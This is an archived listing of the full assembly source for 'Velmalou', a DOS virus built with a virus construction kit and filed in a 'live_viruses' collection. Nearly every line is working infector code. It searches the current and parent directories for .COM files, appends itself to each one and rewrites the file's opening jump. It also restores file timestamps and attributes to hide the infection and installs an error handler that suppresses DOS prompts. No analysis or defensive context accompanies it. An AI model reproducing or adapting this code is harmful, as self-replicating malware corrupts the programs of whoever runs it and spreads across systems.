home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / velmalou.asm < prev    next >
Assembly Source File  |  1994-04-11  |  7KB  |  222 lines

  1. ; velmalou : Velmalou (c) by HypoDermic!! Part of the Mayberry Family!!!
  2. ; Created with Biological Warfare - Version 0.90ß by MnemoniX
  3.  
  4. PING            equ     09000h
  5. INFECT          equ     2
  6.  
  7. code            segment
  8.                 org     100h
  9.                 assume  cs:code,ds:code
  10.  
  11. start:
  12.                 db      0E9h,3,0          ; to virus
  13. host:
  14.                 db      0CDh,20h,0        ; host program
  15. virus_begin:
  16.                 call    $ + 3             ; BP is instruction ptr.
  17.                 pop     bp
  18.                 sub     bp,offset $ - 1
  19.  
  20.                 push    ds es
  21.  
  22.                 lea     dx,[bp + offset new_DTA]
  23.                 mov     ah,1Ah
  24.                 int     21h
  25.  
  26.                 mov     byte ptr [bp + infections],0
  27.  
  28.                 call    traverse
  29.  
  30.                 pop     es ds
  31.                 mov     dx,80h
  32.                 mov     ah,1Ah
  33.                 int     21h
  34.  
  35. com_exit:
  36.                 lea     si,[bp + host]          ; restore host program
  37.                 mov     di,100h
  38.                 push    di
  39.                 movsw
  40.                 movsb
  41.  
  42.                 call    fix_regs                ; fix up registers
  43.                 ret                             ; and leave
  44.  
  45. fix_regs:
  46.                 xor     ax,ax
  47.                 cwd
  48.                 xor     bx,bx
  49.                 mov     si,100h
  50.                 xor     di,di
  51.                 xor     bp,bp
  52.                 ret
  53.  
  54.  
  55. traverse:
  56.                 sub     sp,64                   ; allocate stack space
  57.                 mov     si,sp
  58.                 inc     si
  59.                 mov     ah,47h                  ; get current directory
  60.                 xor     dl,dl
  61.                 int     21h
  62.  
  63.                 dec     si
  64.                 mov     byte ptr ss:[si],'\' ; fix directory
  65.  
  66. next_dir:
  67.                 call    infect_dir
  68.  
  69.                 cmp     byte ptr [bp + infections],INFECT
  70.                 je      traverse_done
  71.  
  72.                 lea     dx,[bp + outer]         ; repeat in next dir up
  73.                 mov     ah,3Bh
  74.                 int     21h
  75.                 jnc     next_dir
  76.  
  77. traverse_done:
  78.                 add     sp,64                   ; reset
  79.                 mov     dx,si
  80.                 mov     ah,3Bh
  81.                 int     21h
  82.                 ret
  83.  
  84. infect_dir:
  85.                 mov     ah,4Eh
  86.                 lea     dx,[bp + find_me]
  87.                 int     21h
  88.                 jc      infect_done
  89.  
  90. next_file:
  91.                 lea     dx,[bp + new_DTA + 1Eh]
  92.                 call    execute
  93.                 cmp     byte ptr [bp + infections],INFECT
  94.                 je      infect_done
  95.                 mov     ah,4Fh
  96.                 int     21h
  97.                 jnc     next_file
  98.  
  99. infect_done:
  100.                 ret
  101. execute:
  102.                 push    si
  103.  
  104.                 xor     ax,ax                   ; critical error handler
  105.                 mov     es,ax                   ; routine - catch int 24
  106.                 lea     ax,[bp + int_24]
  107.                 mov     es:[24h * 4],ax
  108.                 mov     es:[24h * 4 + 2],cs
  109.  
  110.                 mov     ax,4300h                ; change attributes
  111.                 int     21h
  112.  
  113.                 push    cx dx ds
  114.                 xor     cx,cx
  115.                 call    set_attributes
  116.  
  117.                 mov     ax,3D02h                ; open file
  118.                 int     21h
  119.                 jc      cant_open
  120.                 xchg    bx,ax
  121.  
  122.                 mov     ax,5700h                ; save file date/time
  123.                 int     21h
  124.                 push    cx dx
  125.                 mov     ah,3Fh
  126.                 mov     cx,28
  127.                 lea     dx,[bp + read_buffer]
  128.                 int     21h
  129.  
  130.                 cmp     word ptr [bp + read_buffer],'ZM'
  131.                 je      dont_infect             ; .EXE, skip
  132.  
  133.                 mov     al,2                    ; move to end of file
  134.                 call    move_file_ptr
  135.  
  136.                 cmp     dx,65279 - (VIRUS_SIZE + 3)
  137.                 ja      dont_infect             ; too big, don't infect
  138.  
  139.                 sub     dx,VIRUS_SIZE + 3       ; check for previous infection
  140.                 cmp     dx,word ptr [bp + read_buffer + 1]
  141.                 je      dont_infect
  142.  
  143.                 add     dx,VIRUS_SIZE + 3
  144.                 mov     word ptr [bp + new_jump + 1],dx
  145.  
  146.                 lea     dx,[bp + read_buffer]   ; save original program head
  147.                 int     21h
  148.                 mov     ah,40h                  ; write virus to file
  149.                 mov     cx,VIRUS_SIZE
  150.                 lea     dx,[bp + virus_begin]
  151.                 int     21h
  152.  
  153.                 xor     al,al                   ; back to beginning of file
  154.                 call    move_file_ptr
  155.  
  156.                 lea     dx,[bp + new_jump]
  157.                 int     21h
  158.  
  159. fix_date_time:
  160.                 pop     dx cx
  161.                 mov     ax,5701h                ; restore file date/time
  162.                 int     21h
  163.  
  164.                 inc     byte ptr [bp + infections]
  165.  
  166. close:
  167.                 pop     ds dx cx                ; restore attributes
  168.                 call    set_attributes
  169.  
  170.                 mov     ah,3Eh                  ; close file
  171.                 int     21h
  172.  
  173. cant_open:
  174.                 pop     si
  175.                 ret
  176.  
  177.  
  178. set_attributes:
  179.                 mov     ax,4301h
  180.                 int     21h
  181.                 ret
  182.  
  183. dont_infect:
  184.                 pop     cx dx                   ; can't infect, skip
  185.                 jmp     close
  186.  
  187. move_file_ptr:
  188.                 mov     ah,42h                  ; move file pointer
  189.                 cwd
  190.                 xor     cx,cx
  191.                 int     21h
  192.  
  193.                 mov     dx,ax                   ; set up registers
  194.                 mov     ah,40h
  195.                 mov     cx,3
  196.                 ret
  197.  
  198. courtesy_of     db      '[BW]',0
  199. signature       db      'Velmalou (c) by HypoDermic!! Part of the Mayberry Family!!!',0
  200.  
  201.  
  202. find_me         db      '*.COM',0
  203. outer           db      '..',0
  204.  
  205. int_24:
  206.                 mov     al,3                    ; int 24 handler
  207.                 iret
  208. new_jump        db      0E9h,0,0
  209.  
  210. infections      db      0
  211. virus_end:
  212. VIRUS_SIZE      equ     virus_end - virus_begin
  213. read_buffer     db      28 dup (?)              ; read buffer
  214. new_DTA         db      128 dup(?)
  215.  
  216. end_heap:
  217.  
  218. MEM_SIZE        equ     end_heap - start
  219.  
  220. code            ends
  221.                 end     start
  222.